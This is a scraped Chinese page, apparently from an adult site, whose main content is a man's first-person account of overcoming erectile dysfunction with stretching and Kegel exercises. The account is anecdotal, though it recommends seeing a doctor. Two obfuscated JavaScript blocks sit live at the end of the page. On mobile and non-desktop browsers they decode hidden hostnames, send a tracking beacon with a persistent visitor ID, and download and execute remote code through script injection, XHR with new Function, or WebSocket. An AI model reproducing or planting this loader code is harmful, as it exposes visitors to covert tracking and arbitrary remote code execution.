图片载入中
您的位置:
首页>另类其它>小弟【勃起障碍】到【坚挺程度破表】的方式
小弟【勃起障碍】到【坚挺程度破表】的方式
小弟本身40岁,很爱运动健身,不抽烟喝酒,身材属精壮型,碰到的女生光从我的身材上看都说那方面一定很猛
但前两个月往前推半年的时间,这段时间不知为何,几乎很难勃起,性欲极低,就算有性刺激,也只能勃起七成,而
且很快又软回去了,活塞运动时也会中途软掉,对方当时是辣妹,我一样无法硬,但我一直不知道是什么原因∼∼
因为以前那方面都很猛,而且我都保持运动健身,饮食也很正常,有时心理很想要,但是就是无法勃起,这样的情况
差不多半年了∼∼
当时我去买了很多跟壮阳有关的保健食品,例如:MACA、高单位锌、银杏、山药、精胺酸等等,但吃完了、也不见起色
本想说去看中医,但后来算了∼∼
小弟以前性爱次数多,自慰次数也不少,但是这半年勃起障碍的情况,我很少自慰、性爱了,依然没什么改善!
当然自慰是否导致阳痿,这说法相当两极,据说中医有这说法∼
但小弟不是太相信这儿说法,因为,阴茎同样都是靠抽动射精,自慰会阳痿,那做爱就不会吗!?
现在我已经没勃起障碍的困扰了,因为已经复原了,甚至坚硬程度比以前猛,每天性欲都很强
______________________________________________________
※我的方法是靠‘运动’锻炼!没靠药物或特别食补
我的方式就是:锻炼大腿内收肌,也就是位于大腿内侧的一条肌肉,再加上凯格尔运动,因为这些锻炼会增加骨盆的血液循环
,也可锻炼到海绵体肌,勃起就须靠海绵体肌,海绵体肌如果衰弱会影响勃起能力,因为我们的血液是靠海棉体肌打入到阴茎
的,而它跟身上的其它肌肉一样,例如二头肌、胸肌需要锻炼,才会逐渐强壮
这锻炼不需花钱、不需器材、自己在家练就可以了
A.首先你先坐在床上然后屈膝,然后脚掌两两相贴,慢慢的两膝盖顺势各往左右边打开,打开到快触及到床面,此时你会感觉跨下好像被
拉开,然后维持这儿姿势,上半身开始慢慢往前倾并下压,如同你想把脸贴近床面,下压程度依你的柔软度而定,下压到感觉大腿内侧
略有点酸,停在那儿,维持个20~30秒,再起身休息十秒,再往下压,早晚各作3~4次,每个人柔软度不一样,所以不要硬压,如果到痛
表示你过度了
B.这一种属于A的变化型,坐在床上两脚直接直直的打开不用屈膝,打开到大腿内侧微微的酸,之后一样上半身往前倾并往下压
,停留时间和次数跟A一样
C.这个动作是先站立两脚打开和肩同宽,然后半蹲,这时你会发现脚指是指向正前方,但请把两脚脚指各往左右方指着,也就是你的两脚掌约打开150度,然 双手扶住膝盖,上半身稍稍前倾,然后两只手开始把膝盖往外扳开,而两腿往内夹紧,也就是往外和往内的力量会相抗衡,借此锻炼大腿内收肌和海绵体肌
D.过来就是大家熟知的凯格尔运动,那感觉就是小便时你突然停住不尿,就是那动作!
你放松的坐在椅子或床上,双腿张开和肩同宽,开始模拟停尿的动作
如果你想知道自己做得正不正确,作的时候,用手摸你的会阴,并同时观察你的小弟弟
动作正确的话,会阴的肌肉会感觉有收松,并且小弟第会微微内缩
每次收缩停三秒,再放松,一天先作六十下,可分早晚作
其实大家可以发现A和B就是一般拉筋的动作,但是这两项运动可以强化大腿内侧肌肉和骨盆的肌肉,这些肌肉跟勃起有关
当然这类拉筋方式有很多种,如果你想知道更多可以参考瑜珈的书∼∼
随着你肌力的增强,训练强度可以提高,例如A动作可增加停留时间或次数,而C动作每一次收缩时间可以延长成5秒以上
另外这些训练要排一个休息时间,例如:你可以连续练二∼三天,然后休息一天,再开始练,因为肌肉是要在锻炼后的休息中才会变得更强
以上就是我复原的方式!!
大家可以选择你觉得好操作的去做
小弟首推A和D,尤其D很重要,我自己是训练到第三周开始感觉发生变化,到现在两个月效果我相当满意,且跟以前全盛时期差不多
_______________________________________________________________
不过关于自慰这件事,也不要太旺盛,一周两三次就好
自慰过度是否造成阳痿,无法找到正确说法,西医和中医说法不定
就跟慢跑是健康的,但是当脚痛依然去慢跑就会造成伤害
但也不要因为没确定的说法就恐惧自慰
※但是小弟要在这里先说,每个人身体状况不同,加上勃起障碍的原因很多,有些疾病(例如:心血管疾病)也会造成阳痿
因此不放心的人,还是建议先看医师
上一篇:萤萤 淫荡女大学生的性史
下一篇:丝袜系列–强行侵入班导师的体内
function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};